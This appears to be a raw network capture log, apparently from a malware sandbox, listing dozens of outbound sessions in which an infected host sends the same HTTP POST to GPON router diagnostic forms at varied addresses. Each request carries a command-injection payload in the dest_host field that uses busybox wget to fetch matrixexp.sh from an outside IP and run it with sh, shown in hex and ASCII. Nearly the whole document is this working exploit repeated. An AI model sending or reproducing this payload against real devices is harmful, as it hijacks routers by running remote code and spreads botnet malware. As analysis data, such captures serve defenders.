Mar 21, 2024 05:23:33.815537930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1693	192.168.2.13	60908	118.223.187.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815593004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1694	192.168.2.13	51000	42.89.217.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815607071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1695	192.168.2.13	54664	42.203.5.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815610886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1696	192.168.2.13	51286	109.218.160.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815630913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1697	192.168.2.13	56550	5.44.49.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815651894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1698	192.168.2.13	40338	5.69.163.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815684080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1699	192.168.2.13	45018	109.64.62.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815684080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1700	192.168.2.13	57208	212.251.245.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815722942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1701	192.168.2.13	37086	5.227.1.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815752029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1702	192.168.2.13	60532	212.47.230.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815777063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1703	192.168.2.13	36248	42.109.224.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815783024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1704	192.168.2.13	55072	42.104.128.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815814018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1705	192.168.2.13	45488	109.143.23.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815817118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1706	192.168.2.13	51762	5.191.58.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815900087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1707	192.168.2.13	36256	5.227.51.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815923929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1708	192.168.2.13	34634	109.49.134.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815933943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1709	192.168.2.13	41526	118.45.9.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.815987110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1710	192.168.2.13	50300	118.51.211.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816015959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1711	192.168.2.13	33364	118.105.247.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816019058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1712	192.168.2.13	52386	42.203.6.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816035986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1713	192.168.2.13	59094	109.219.162.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816050053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1714	192.168.2.13	38260	42.234.255.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816082001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1715	192.168.2.13	47600	42.186.170.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.816138029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1716	192.168.2.13	55284	109.171.236.46	443

Timestamp	Bytes transferred	Direction	Data
